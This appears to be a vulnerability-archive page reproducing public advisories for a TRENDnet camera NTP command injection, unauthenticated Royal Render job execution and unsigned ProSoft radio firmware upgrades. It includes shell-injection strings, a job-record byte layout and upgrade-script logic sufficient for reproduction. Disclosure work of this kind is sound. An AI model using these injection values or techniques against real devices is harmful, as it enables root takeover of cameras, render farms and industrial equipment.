behaviour that is not one is worth knowing before\nreproducing this: the set callback\u0027s strcmp early-return suppresses the change\nevent when the new value is byte-identical to the stored one, so posting the same\npayload twice does not re-fire the sink. Vary the payload between attempts, for\nexample by changing the marker filename, which costs one byte and changes nothing\nabout the finding.\n\nAuthentication, and what is credited. This is not an unauthenticated\nvulnerability and no unauthenticated variant of it is claimed. Every .cgi request\npasses a fail-closed HTTP Digest gate, with Basic also accepted: the challenge\ngenerator at 0x26be70 emits WWW-Authenticate: Digest, the connection handler at\n0x26ed54 calls it at entry, credentials are evaluated through fcn.00268afc, an\nabsent or wrong credential yields 401 and the handler does not fall through to the\nrequest\u0027s business logic, and the .cgi dispatch runs its authentication check\nthrough func_0026c248. The unauthenticated allow-list recovered from the binary is\na static-content extension list covering html, htm, jpg, css, js, png, gif, txt,\nasp, avi, bmp, cab, exe, mov, swf and xpi, plus one snapshot path, CamImg*.jpg. No\nmember of it is a configuration write and none reaches this sink. Two .cgi routes\nare genuinely unauthenticated, GetVer.cgi returning a version XML document and\nGetLanguage.cgi returning a language pack; both were examined for execution sinks\nand neither calls system() or popen(), so they are useful for fingerprinting only.\nThe unauthenticated surface was swept for a path into the sink and the sweep came\nout negative, which is what makes the authentication statement here a finding\nrather than an assumption. The product\u0027s gate is present, centralised and\nfail-closed, and it is credited as such: this finding is explicitly not CWE-306\nand not CWE-862. The camera gets the gate right and the argument construction\nwrong.\n\nThe principal required is an administrator, and the evidence carries two different\nweights that should not be conflated. The credential requirement is structural and\nfail-closed, read out of the gate\u0027s own control flow. The role requirement\nspecifically is read out of the privilege model recovered from the image, which\ndefines five levels, i_UserPrivilege01 through i_UserPrivilege05, and places NTP\nconfiguration behind the administrator role; it was not differentially tested,\nbecause no account below administrator was available to test with and no\ncomparison was ever run between a low-privilege write and an administrative one.\nThe honest status of the PR:H rating is therefore \"supported by the recovered\nprivilege model\" and nothing stronger, which is why the PR:L reading is published\nbelow as a labelled conditional rather than being papered over.\n\nVerification boundary, stated in full and up front, because it defines what is and\nis not being claimed. No physical camera was used at any point. No TV-IP302PI\nhardware was driven, no firmware image was booted onto hardware, no hunt_server\nprocess was started, no HTTP request was issued to the daemon during any phase of\nthis work, and no request came from a second host. Nothing here is a live-device\nexploit and the research does not present itself as one.\n\nWhat the dynamic half actually was: a replica of the vulnerable call run inside\nthe product\u0027s own extracted root filesystem. The vendor firmware image is an\nunencrypted ZIP container with five streams and the root filesystem in the third;\nthat tree of 251 files was extracted, and on an isolated cloud sandbox the\nresearchers chrooted into it and ran the camera\u0027s own busybox shell under\nqemu-arm-static user-mode ARM emulation, invoking the interpreter explicitly in\nthe form qemu-arm-static /lib/ld-linux.so.3 --library-path /lib /bin/busybox sh -c\n\"\u003ccommand string\u003e\", with binfmt_misc registered for ARM ELF so that a shell inside\nthe chroot could fork and exec the external ARM binaries in the same tree, and\nwith /dev and /proc bind-mounted. What was executed under that harness was the\nexact command string the product\u0027s own builder produces from the product\u0027s own\ntemplate, with attacker-chosen bytes in the address slot, run by the product\u0027s own\nshell in the product\u0027s own root filesystem. Four runs were made, three injection\nforms and one control:\n\n    /hunt/msntp -ts 1 -r 1.1.1.1;/bin/busybox id \u003e \u003cmarker\u003e;# \u0026\n        marker content   uid=0(root) gid=0(root) groups=0(root)\n        marker owner     root:root\n    /hunt/msntp -ts 1 -r $(/bin/busybox id \u003e \u003cmarker\u003e) \u0026\n        marker content   uid=0(root) gid=0(root) groups=0(root)\n        marker owner     root:root\n    /hunt/msntp -ts 1 -r `/bin/busybox id \u003e \u003cmarker\u003e` \u0026\n        marker content   uid=0(root) gid=0(root) groups=0(root)\n        marker owner     root:root\n    /hunt/msntp -ts 1 -r 1.1.1.1 \u0026\n        marker           absent - no file created\n\nThree metacharacter vectors each produced a root-owned marker; the benign control\naddress 1.1.1.1, containing no metacharacter, produced none. Marker filenames are\nrendered here in shortened form because the recorded names carried an internal\nstage prefix that means nothing to a reader; the ownership, content and presence\nof each marker are reported exactly as recorded. The control is not decoration.\nThe command template already invokes an external binary, /hunt/msntp, so a chroot\nharness is a place where a marker could in principle have been created by\nsomething other than the injection: a leftover file, the harness\u0027s own tooling, o"
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      "title": "[0day-rubbish] TRENDnet TV-IP302PI firmware 1.02.38 authenticated NTP server-address OS command injection to root command execution via a shell-form system() call (7.2 High, PR:H)",
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}

GCVE-1988-2026-0499

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] Royal Render 9.1.26b: default-unauthenticated job submission on rrServer TCP 7773 reaches worker-side shell execution as the worker identity, measured root (8.1 High)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Royal Render 9.1.26b, the closed-source render-farm job manager for VFX and animation studios from Binary Alchemy (proprietor Holger Schoenberger) of Ludwigsburg, Germany. Royal Render is a different product from the Royal Server gateway sold by Royal Apps GmbH of Austria; the two are unrelated companies sharing one word in their names, and this disclosure concerns the German render manager only. The product's central scheduler, rrServer, shipped as the rrServerconsole binary, listens on TCP 7773 and speaks a custom binary protocol that is not HTTP. In the state the product ships in, it performs no identity check on a connection at all. That is the vendor's own documentation speaking, not an observation of a test instance: the help page shipped inside the installation tree at files/help/Authorization.html states "By default, the rrServer does NOT check for a valid user if you connect to the rrServer". Authorization is an opt-in feature, either a submission whitelist or an authorization-required-for-all-connections switch, and the sub/cfg_global/globalconfig.ini that the vendor's own rrSetup_linux installer writes leaves both off, with nTCPRequiresAuth=false and an empty nAuthWhiteList. The primary classification is CWE-306 with CWE-1188 co-equal and CWE-73, plus CWE-250, CWE-284 and CWE-1392 contributing. Type and root cause. Among the shipped job types is one named Execute with renderer name Once, defined in render_apps/_config/E01__ExecuteOnce.cfg, which declares SceneFileExtension= *.bat;*.sh; and whose Linux command line is the template CommandLine_Lx= <EndsWith(<Scene> , .sh) source > "<Scene>" <AdditionalCommandlineParam>. For a scene path ending in .sh the worker resolves that template to source "<Scene>" and runs it in its own shell, in the current shell rather than as a child process. The scene path reaches the worker as the length-prefixed UTF-16LE dataset field execOnce.file inside the compressed job record, and nothing between the socket and the shell constrains it: no principal exists by default against which a job type could be filtered, there is no allow-list or canonicalisation against a project root, no owner or mount check, and no signature of the file being sourced. The verified submission record is 1387 bytes, a 340-byte header carrying a little-endian uint32 at offset 0x0e equal to the exact compressed length of the trailing block, 1047, another at offset 0x12 equal to its exact decompressed size, 55252, a uint16 length prefix of 23 at 0x1b followed by the submitter hostname at 0x1d, and a zlib stream with header 78 5e from offset 0x154. Decompressed, the record holds the job type Execute at offset 32, the renderer fragment ;Once at 596, the server version text rr9.1.26b at 3688, the scene path /tmp/rr_clean_poc.sh as a 20-character UTF-16LE string at offset 3792, and the key execOnce.file at offsets 7818 and 8324. The scheduler accepted the credential-free record and answered with a normal 346-byte functional reply rather than a rejection or a challenge. Execution identity, reported as measured. The worker built and ran source "/tmp/rr_clean_poc.sh". The marker file produced was 34 bytes, owned root:root, and a sibling file captured the identity output uid=0(root) gid=0(root) groups=0(root). Root was reached because the worker process in the verification deployment was started from a root shell, and the product enforces no privilege separation between the identity that receives a job and the identity that executes it, so the honest claim is arbitrary shell execution as the worker's identity. No shipped artefact fixes a non-root default worker identity and none mandates root; the ceiling is deployment-dependent, and the advisory says so wherever the identity matters. Verification boundary. Static work was documentary and wire-level rather than disassembly-based: the shipped job-type configuration, the shipped Python SDK, and the captured submission record with its decompressed job data. Dynamic work was a live detonation against an installation made with the vendor's rrSetup_linux installer with the configuration left as installed, unlicensed and therefore in two-client demonstration mode, with the authorization key observed to govern behaviour. The chain was driven end to end from a second client host on a different network segment, in its own network namespace with a private-range source address and a hostname foreign to the scheduler, so remote reachability is demonstrated across a network boundary rather than argued from a bind address. Two properties of the run were supplied by the research harness and are stated as such: the scene script's content and its presence at a worker-readable path, because the job record carries a path and never file content and no primitive over TCP 7773 was demonstrated that delivers bytes; and the worker's root start. The all-interface bind of port 7773 was measured on the test instance, with no shipped artefact stating the default bind in either direction. Scoring. The published headline is 8.1 High, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, Impact at S:U = 5.873119 and Exploitability = 2.221167, base 8.094286 rounded up. Attack complexity carries the one precondition the researchers did not obtain from the product: the record names a path, so attacker-chosen commands need a script at a worker-readable path, which the harness placed in the verified run. A conditional reading of 9.8 Critical at AC:L is published labelled conditional, applying only where an attacker can also write to the shared render storage the product's own scene-distribution model uses, or where a structural command-injection observation is confirmed; neither branch was detonated, so 9.8 is not the headline. Further labelled conditionals cover a changed-scope reading at 9.1 and 10.0, an authorization-enabled reading published at all four privilege and complexity combinations, 8.8, 7.5, 7.2 and 6.6, and a management-network-only reading at 7.5 and 8.8. One structural observation is published as inference and not as a finding: <AdditionalCommandlineParam> is appended outside the template's quoting, so shell metacharacters in it would be interpreted by the worker's shell; the verified record contains no such field in ASCII or UTF-16LE, it was not executed, and it raises no published score. Impact. One anonymous submission reaches whichever worker is idle, so the primitive fans out to the whole farm and to every mount each worker holds; the executed command inherits the worker's full identity and environment. Independently of execution, the verified record carries the product's own destructive post-processing tasks PPDeleteJob and PPDeletebroken, so an anonymous submitter can also enqueue and destroy queue state. Detection is weak by construction because every packet is legitimate product traffic; the usable signals are an Execute or Once job whose execOnce.file names a path outside recognised project storage, and a configuration audit finding nTCPRequiresAuth=false with an empty whitelist on any scheduler reachable beyond a management segment. Mitigation summary: ship authorization on by default; separate the Execute and Once job type behind an explicit administrator capability denied by default; canonicalise and allow-list execOnce.file against project and shared-storage roots, rejecting symlink escapes and world-writable directories; pass job arguments as an argument vector or quote every substitution; run workers as a dedicated unprivileged account; authenticate the protocol handshake at connect time for every client class; and bind TCP 7773 to the render-management interface as a documented management port. The proof of concept is Python 3 using only the standard library. It writes the scene script to the worker-readable path as an explicit local precondition, removes stale markers, opens one TCP connection to the target port with no credentials, sends the submission record, reports the reply length and first bytes, polls for the marker file, and reports its size, ownership and content together with the captured identity output; it exits non-zero if no reply or no marker appears, separating a rejected submission from a worker that did not execute. A dump mode reproduces every job-record offset cited above. Full technical analysis and the reproducible proof of concept, published unconditionally: https://0day-rubbish.com/blog/royal-render-default-unauthenticated-job-submission-root-rce Project archive (ongoing disclosure series): https://github.com/Exploit-Garbage/0day-Rubbish Binary Alchemy, the proprietorship that sells Royal Render, was notified unconditionally through the single mailbox its legally required imprint prints and its support page names in words as the support address, which is the only channel used. The vendor publishes no RFC 9116 security.txt, the request returning 404, and no security page or vulnerability-disclosure policy was found on the site. Nothing was submitted to any intake form and no individual was addressed by name. This disclosure is unconditional: the research is already public, no permission was asked for, no embargo was requested, and nothing is withheld pending a reply. No vulnerability identifier has been assigned to this finding yet. -- 0day Rubbish Research Team disclosure () 0day-rubbish com https://0day-rubbish.com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Royal Render Affected: unknown
Create a notification for this product.

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          "product": "Render",
          "vendor": "Royal",
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          "type": "finder",
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          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Royal\nRender 9.1.26b, the closed-source render-farm job manager for VFX and\nanimation studios from Binary Alchemy (proprietor Holger Schoenberger) of\nLudwigsburg, Germany. Royal Render\nis a different product from the Royal Server gateway sold by Royal Apps GmbH\nof Austria; the two are unrelated companies sharing one word in their names,\nand this disclosure concerns the German render manager only.\n\nThe product\u0027s central scheduler, rrServer, shipped as the rrServerconsole\nbinary, listens on TCP 7773 and speaks a custom binary protocol that is not\nHTTP. In the state the product ships in, it performs no identity check on a\nconnection at all. That is the vendor\u0027s own documentation speaking, not an\nobservation of a test instance: the help page shipped inside the\ninstallation tree at files/help/Authorization.html states \"By default, the\nrrServer does NOT check for a valid user if you connect to the rrServer\".\nAuthorization is an opt-in feature, either a submission whitelist or an\nauthorization-required-for-all-connections switch, and the\nsub/cfg_global/globalconfig.ini that the vendor\u0027s own rrSetup_linux\ninstaller writes leaves both off, with nTCPRequiresAuth=false and an empty\nnAuthWhiteList. The primary classification is CWE-306 with CWE-1188 co-equal\nand CWE-73, plus CWE-250, CWE-284 and CWE-1392 contributing.\n\nType and root cause. Among the shipped job types is one named Execute with\nrenderer name Once, defined in render_apps/_config/E01__ExecuteOnce.cfg,\nwhich declares SceneFileExtension= *.bat;*.sh; and whose Linux command line\nis the template CommandLine_Lx= \u003cEndsWith(\u003cScene\u003e , .sh) source \u003e  \"\u003cScene\u003e\"\n\u003cAdditionalCommandlineParam\u003e. For a scene path ending in .sh the worker\nresolves that template to source \"\u003cScene\u003e\" and runs it in its own shell, in\nthe current shell rather than as a child process. The scene path reaches the\nworker as the length-prefixed UTF-16LE dataset field execOnce.file inside the\ncompressed job record, and nothing between the socket and the shell\nconstrains it: no principal exists by default against which a job type could\nbe filtered, there is no allow-list or canonicalisation against a project\nroot, no owner or mount check, and no signature of the file being sourced.\nThe verified submission record is 1387 bytes, a 340-byte header carrying a\nlittle-endian uint32 at offset 0x0e equal to the exact compressed length of\nthe trailing block, 1047, another at offset 0x12 equal to its exact\ndecompressed size, 55252, a uint16 length prefix of 23 at 0x1b followed by\nthe submitter hostname at 0x1d, and a zlib stream with header 78 5e from\noffset 0x154. Decompressed, the record holds the job type Execute at offset\n32, the renderer fragment ;Once at 596, the server version text rr9.1.26b at\n3688, the scene path /tmp/rr_clean_poc.sh as a 20-character UTF-16LE string\nat offset 3792, and the key execOnce.file at offsets 7818 and 8324. The\nscheduler accepted the credential-free record and answered with a normal\n346-byte functional reply rather than a rejection or a challenge.\n\nExecution identity, reported as measured. The worker built and ran source\n\"/tmp/rr_clean_poc.sh\". The marker file produced was 34 bytes, owned\nroot:root, and a sibling file captured the identity output\nuid=0(root) gid=0(root) groups=0(root). Root was reached because the worker\nprocess in the verification deployment was started from a root shell, and\nthe product enforces no privilege separation between the identity that\nreceives a job and the identity that executes it, so the honest claim is\narbitrary shell execution as the worker\u0027s identity. No shipped artefact\nfixes a non-root default worker identity and none mandates root; the ceiling\nis deployment-dependent, and the advisory says so wherever the identity\nmatters.\n\nVerification boundary. Static work was documentary and wire-level rather\nthan disassembly-based: the shipped job-type configuration, the shipped\nPython SDK, and the captured submission record with its decompressed job\ndata. Dynamic work was a live detonation against an installation made with\nthe vendor\u0027s rrSetup_linux installer with the configuration left as\ninstalled, unlicensed and therefore in two-client demonstration mode, with\nthe authorization key observed to govern behaviour. The chain was driven\nend to end from a second client host on a different network segment, in its\nown network namespace with a private-range source address and a hostname\nforeign to the scheduler, so remote reachability is demonstrated across a\nnetwork boundary rather than argued from a bind address. Two properties of\nthe run were supplied by the research harness and are stated as such: the\nscene script\u0027s content and its presence at a worker-readable path, because\nthe job record carries a path and never file content and no primitive over\nTCP 7773 was demonstrated that delivers bytes; and the worker\u0027s root start.\nThe all-interface bind of port 7773 was measured on the test instance, with\nno shipped artefact stating the default bind in either direction.\n\nScoring. The published headline is 8.1 High,\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, Impact at\nS:U = 5.873119 and Exploitability = 2.221167, base 8.094286 rounded up.\nAttack complexity carries the one precondition the researchers did not\nobtain from the product: the record names a path, so attacker-chosen commands\nneed a script at a worker-readable path, which the harness placed in the\nverified run. A conditional reading of 9.8 Critical at AC:L is published\nlabelled conditional, applying only where an attacker can also write to the\nshared render storage the product\u0027s own scene-distribution model uses, or\nwhere a structural command-injection observation is confirmed; neither\nbranch was detonated, so 9.8 is not the headline. Further labelled\nconditionals cover a changed-scope reading at 9.1 and 10.0, an\nauthorization-enabled reading published at all four privilege and complexity\ncombinations, 8.8, 7.5, 7.2 and 6.6, and a management-network-only reading at\n7.5 and 8.8. One structural observation is published as inference and not as\na finding: \u003cAdditionalCommandlineParam\u003e is appended outside the template\u0027s\nquoting, so shell metacharacters in it would be interpreted by the worker\u0027s\nshell; the verified record contains no such field in ASCII or UTF-16LE, it\nwas not executed, and it raises no published score.\n\nImpact. One anonymous submission reaches whichever worker is idle, so the\nprimitive fans out to the whole farm and to every mount each worker holds;\nthe executed command inherits the worker\u0027s full identity and environment.\nIndependently of execution, the verified record carries the product\u0027s own\ndestructive post-processing tasks PPDeleteJob and PPDeletebroken, so an\nanonymous submitter can also enqueue and destroy queue state. Detection is\nweak by construction because every packet is legitimate product traffic; the\nusable signals are an Execute or Once job whose execOnce.file names a path\noutside recognised project storage, and a configuration audit finding\nnTCPRequiresAuth=false with an empty whitelist on any scheduler reachable\nbeyond a management segment.\n\nMitigation summary: ship authorization on by default; separate the Execute\nand Once job type behind an explicit administrator capability denied by\ndefault; canonicalise and allow-list execOnce.file against project and\nshared-storage roots, rejecting symlink escapes and world-writable\ndirectories; pass job arguments as an argument vector or quote every\nsubstitution; run workers as a dedicated unprivileged account; authenticate\nthe protocol handshake at connect time for every client class; and bind TCP\n7773 to the render-management interface as a documented management port.\n\nThe proof of concept is Python 3 using only the standard library. It writes\nthe scene script to the worker-readable path as an explicit local\nprecondition, removes stale markers, opens one TCP connection to the target\nport with no credentials, sends the submission record, reports the reply\nlength and first bytes, polls for the marker file, and reports its size,\nownership and content together with the captured identity output; it exits\nnon-zero if no reply or no marker appears, separating a rejected submission\nfrom a worker that did not execute. A dump mode reproduces every job-record\noffset cited above.\n\nFull technical analysis and the reproducible proof of concept, published\nunconditionally:\n  https://0day-rubbish.com/blog/royal-render-default-unauthenticated-job-submission-root-rce\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nBinary Alchemy, the proprietorship that sells Royal Render, was notified\nunconditionally through the single mailbox its legally required imprint\nprints and its support page names in words as the\nsupport address, which is the only channel used. The vendor publishes no RFC\n9116 security.txt, the request returning 404, and no security page or\nvulnerability-disclosure policy was found on the site. Nothing was submitted\nto any intake form and no individual was addressed by name. This disclosure\nis unconditional: the research is already public, no permission was asked\nfor, no embargo was requested, and nothing is withheld pending a reply. No\nvulnerability identifier has been assigned to this finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0498

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] ProSoft Technology RLX-IFH24E v2.2.44 unsigned firmware upgrade package to root command execution and full account-database overwrite (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the ProSoft RLX-IFH24E, version v2.2.44, the industrial wireless radio from ProSoft Technology, Inc. (United States). The appliance is a closed-source embedded device and an OEM build of the MicroHard Systems IPx21 platform on the MHX-910 board design: an Intel IXP425 XScale processor, ARM big-endian, Linux 2.4.24-uc0, with static management pages under /usr/web and 57 ARM big-endian CGI programs under /usr/lib/cgi-bin/ served by boa over HTTP and boa_ssl over HTTPS. The vendor is identified precisely here, by its legal name, its published headquarters address and its support domain, because a different and unrelated company trades under a similar name in another country, and this research concerns the United States industrial radio vendor only. ProSoft Technology's own legal pages give the entity as ProSoft Technology, Inc., 9201 Camino Media, Suite 200, Bakersfield, CA 93311, USA, and its support pages note that support addresses moved from the vendor domain to belden.com, the domain of its parent company. THE EVIDENTIAL BOUNDARY, BEFORE ANYTHING ELSE This disclosure has an unusual evidentiary shape and it is stated up front so that no reader over-reads it. No HTTP request was ever issued at this product. No physical appliance was used at any point. The chain is therefore not presented as an exploit run against a live device, and it is not one. The finding has two halves. The installer half was measured: the firmware's own /sbin/upgrade script and the other scripts in /sbin were executed byte-for-byte unmodified inside an isolated chroot sandbox built on a copy of the upgrade package's own root filesystem, with marker files and a recorded executing uid as the evidence. The upload half was inferred: it rests entirely on disassembly of the shipped ARM big-endian CGI and of the shared platform UI library, and nothing in it was observed in motion. The line between those two halves runs down the middle of the chain and is drawn explicitly wherever it appears in the published analysis. TYPE AND ROOT CAUSE Code installed and executed without an integrity or authenticity check. CWE-494 is the primary classification, with CWE-345 and CWE-347 co-equal because the only check anywhere in the path is a non-cryptographic string equality and no signature is verified at any point. CWE-434, CWE-73, CWE-250 and CWE-269 are contributing and are reported separately without raising any metric. This is explicitly not CWE-78: no command string is injected at either hop, so a command-injection remediation, filename input filtering or shell escaping would not close the chain. The shared platform helper SubProgram_Start at offset 0xbd5c splits its argument string on spaces with strtok into at most eight tokens and then calls vfork and execvp directly, so no shell is involved at all. The system upgrade package RLX-IFH24E_v2244.pkg contains four artefacts that together describe the whole path: the upload handler usr/lib/cgi-bin/tool_reprogramming.cgi, the installer /sbin/upgrade that it invokes as a root process, the factory account database /etc/passwd, and the default configuration store /etc/db1. The upload hop, recovered by disassembly. HandleSubmit at offset 0x8d1c takes the file1 part of a multipart/form-data POST to /cgi-bin/tool_reprogramming.cgi and performs this sequence, with the format string sitting at rodata offset 0x2b1c: cgiFormFileName("file1") -> the client's original filename cgiFormTempFileName -> path of the temporary body file sprintf(buf, "%s /upgrade/upgrade/%s", tempfile, origfilename) SubProgram_Start("/bin/mv", buf) ; must succeed first SubProgram_Start("/sbin/upgrade", origfilename) The original client filename is used unmodified twice: once to build the destination of the move, and once as the installer's only argument. That makes the file extension, and therefore the branch the installer takes, entirely the requester's choice. The handler applies no extension whitelist, no digest comparison and no path canonicalisation. The installer hop, executed and observed. /sbin/upgrade is a short POSIX shell script that runs with the privileges of the CGI that invoked it, which are root, and dispatches purely on ${FILE##*.}: case "$EXT" in passwd) cp /upgrade/upgrade/$FILE /etc/passwd cp /upgrade/upgrade/$FILE /etc/passwd_original ;; factory) cp /upgrade/upgrade/$FILE /etc/db1 ;; pkg) gunzip -t /upgrade/upgrade/$FILE || exit 1 tar -xf /upgrade/upgrade/$FILE -C <staging> [ "$DEVICE_PRODUCT_NAME" = "$PKG_LOCK_NAME" ] || refused echo "Match image." ./pre tar -xf extract/upgradepkg.tar -C / ./post echo "Upgrade Successful" reboot ;; esac The .pkg branch is the code-execution primitive. ./pre runs before anything else is applied, so requester-authored code executes against the pristine filesystem and can read the old state; tar -xf extract/upgradepkg.tar -C / applies an inner archive whose entry names are constrained in no way, which is an arbitrary rootfs write; ./post runs after the write, so the same requester also sees the new state; and the branch ends in an unconditional reboot, which makes the change persistent and destroys the runtime evidence. The .passwd branch is a second, independent route to the same privilege ceiling and it needs no execution at all: it copies the upload over both the live account database and the backup copy, so the device's own recovery path restores the modified database rather than the shipped one. The .factory branch is the same primitive aimed at the configuration store. The only validation the installer performs before executing package content is a string equality, and both of its operands are available to whoever supplies the package. The expected value DEVICE_PRODUCT_NAME is read from the appliance's own platform identity file /etc/MHX_CONFIG, where this firmware records PRODUCT_NAME=IPx21PROSOFT, a compile-time constant recoverable by reading the shipped firmware once. The asserted value PKG_LOCK_NAME is read from a file called lockfile inside the package being installed. A package whose identity is validated against a value carried inside that same package is not a source of assurance about that package. The gunzip -t test beside it is a gzip stream-integrity check and proves only that the file is well-formed. The check that exists was never meant to answer the authenticity question, and strengthening it would change nothing while the requester supplies both sides; what is missing from the path between an HTTP request and root execution is any authenticity step at all. WHAT WAS MEASURED A crafted .pkg carrying the correct platform string was placed in the staging directory, reproducing by hand the state the handler's /bin/mv step would have produced, and the unmodified installer was invoked on it. It printed "Match image." and then "Upgrade Successful" and exited 0. Four independent effects were observed on the sandbox filesystem: the pre and post scripts left markers proving both executed; the inner archive left a marker at the root of the filesystem, proving the unconstrained extraction; and a marker file written by the payload at runtime contained PRE-RAN-AS-UID=0. That last value is the load-bearing line, because the payload wrote it during execution rather than having it read from a configuration file, so it is the executing identity and not an inference about it. The recorded landing identity for this finding is uid=0(root). A .passwd run was performed the same way. Both /etc/passwd and /etc/passwd_original were replaced by the uploaded text: the digest recorded for the pre-seeded database before the run no longer matched afterwards, and the marker line was present in both copies. The marker line grants a uid-0 account with /bin/sh, which on this product is the difference between the factory admin shell /bin/txtUI and a general root shell available at the next interactive login. A negative control establishes that none of that came from the harness. A structurally identical package, same outer tar layout, same metadata files, same inner archive, same marker-writing scripts, with exactly one deliberate difference, LOCK_NAME=WRONGPRODUCT, was refused with "This unit doesn't support the image." and produced no markers anywhere. Three conclusions follow: the markers are produced by the install path; the observed success was conditional on that one string comparison, so the check is bypassable by supplying the documented string rather than being irrelevant; and the positive and negative runs are mutually exclusive, so the positive result cannot be explained by a sandbox in which everything appears to succeed. The run count is stated exactly because it is small. One positive .pkg run, one positive .passwd run and one negative control run, in one sandbox on one host, with each effect observed once. The runs were not repeated across multiple sandbox builds and were never performed on hardware. Four substitutions were made in the harness and none in the code under test. The firmware is ARM big-endian and the sandbox host is not, so an x86 busybox build supplied /bin/sh, tar, gunzip, mv and cp; a stub replaced the platform mhx utility; /etc/MHX_CONFIG was populated with the product identity the firmware itself ships; and /etc/passwd was pre-seeded with three factory-style entries so that a before and after comparison was possible. Two lines appearing in the transcript, "logger: not found" and "mhx: not found", are absent helpers in the sandbox PATH and are not product behaviour; they are reproduced rather than suppressed, because concealing a negative-looking line would misrepresent the run. WHAT WAS NOT MEASURED No physical appliance was used. No HTTP request was issued to the product and the uploader hop was never executed; the staging file was placed by hand. The web server was not executed and could not have been, because /bin/boa lives in the device base flash and is not contained in the system upgrade package, and it is boa that decides whether a client is allowed to fork a CGI at all. Its access control could therefore be neither proved nor disproved from the artefacts available. The CGI binaries and the firmware's own ARM helper utilities were not executed for the architecture reason. The reboot closing the .pkg branch did not happen, since the sandbox is a directory tree with no init; the path leading to it was observed up to that point. No privilege escalation is claimed, the chain starting from the administrative identity the product's own account database already grants uid 0. There is no claimed reach into the radio baseband image RLX-IFH24E_v5089.mhx, which was identified but not exercised, and no demonstrated impact on any attached control system, PLC or historian. AUTHENTICATION The finding is published as requiring administrative privilege. The package documents its own account model: admin: <DES-crypt hash>:0:0:admin:/:/bin/txtUI upgrade: <same DES-crypt hash>:500:500:ftpupgrade:/upgrade/upgrade:/bin/sh The admin account is uid 0, so the management stack is not privilege-separated and an administrative login already holds the privilege the sink needs. Its shell is /bin/txtUI, a restricted interactive interface rather than a general shell, which is a user-interface constraint and not a security boundary once arbitrary code execution is available. A second account exists with uid 500, a working /bin/sh, the same password hash, and a home directory that is precisely the upload staging path. The interface also carries a password-change page and a configurable RADIUS mode. The factory credential itself is not reproduced here; the published advisory deliberately withholds that hash. What the package establishes about th
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "ProSoft Technology RLX-IFH24E",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
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      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the\nProSoft RLX-IFH24E, version v2.2.44, the industrial wireless radio from\nProSoft Technology, Inc. (United States). The appliance is a closed-source\nembedded device and an OEM build of the MicroHard Systems IPx21 platform on\nthe MHX-910 board design: an Intel IXP425 XScale processor, ARM\nbig-endian, Linux 2.4.24-uc0, with static management pages under /usr/web\nand 57 ARM big-endian CGI programs under /usr/lib/cgi-bin/ served by boa\nover HTTP and boa_ssl over HTTPS.\n\nThe vendor is identified precisely here, by its legal name, its published\nheadquarters address and its support domain, because a different and\nunrelated company trades under a similar name in another country, and this\nresearch concerns the United States industrial radio vendor only. ProSoft\nTechnology\u0027s own legal pages give the entity as ProSoft Technology, Inc.,\n9201 Camino Media, Suite 200, Bakersfield, CA 93311, USA, and its support\npages note that support addresses moved from the vendor domain to\nbelden.com, the domain of its parent company.\n\nTHE EVIDENTIAL BOUNDARY, BEFORE ANYTHING ELSE\n\nThis disclosure has an unusual evidentiary shape and it is stated up front\nso that no reader over-reads it. No HTTP request was ever issued at this\nproduct. No physical appliance was used at any point. The chain is therefore\nnot presented as an exploit run against a live device, and it is not one.\n\nThe finding has two halves. The installer half was measured: the firmware\u0027s\nown /sbin/upgrade script and the other scripts in /sbin were executed\nbyte-for-byte unmodified inside an isolated chroot sandbox built on a copy\nof the upgrade package\u0027s own root filesystem, with marker files and a\nrecorded executing uid as the evidence. The upload half was inferred: it\nrests entirely on disassembly of the shipped ARM big-endian CGI and of the\nshared platform UI library, and nothing in it was observed in motion. The\nline between those two halves runs down the middle of the chain and is drawn\nexplicitly wherever it appears in the published analysis.\n\nTYPE AND ROOT CAUSE\n\nCode installed and executed without an integrity or authenticity check.\nCWE-494 is the primary classification, with CWE-345 and CWE-347 co-equal\nbecause the only check anywhere in the path is a non-cryptographic string\nequality and no signature is verified at any point. CWE-434, CWE-73, CWE-250\nand CWE-269 are contributing and are reported separately without raising any\nmetric. This is explicitly not CWE-78: no command string is injected at\neither hop, so a command-injection remediation, filename input filtering or\nshell escaping would not close the chain. The shared platform helper\nSubProgram_Start at offset 0xbd5c splits its argument string on spaces with\nstrtok into at most eight tokens and then calls vfork and execvp directly,\nso no shell is involved at all.\n\nThe system upgrade package RLX-IFH24E_v2244.pkg contains four artefacts\nthat together describe the whole path: the upload handler\nusr/lib/cgi-bin/tool_reprogramming.cgi, the installer /sbin/upgrade that it\ninvokes as a root process, the factory account database /etc/passwd, and\nthe default configuration store /etc/db1.\n\nThe upload hop, recovered by disassembly. HandleSubmit at offset 0x8d1c\ntakes the file1 part of a multipart/form-data POST to\n/cgi-bin/tool_reprogramming.cgi and performs this sequence, with the format\nstring sitting at rodata offset 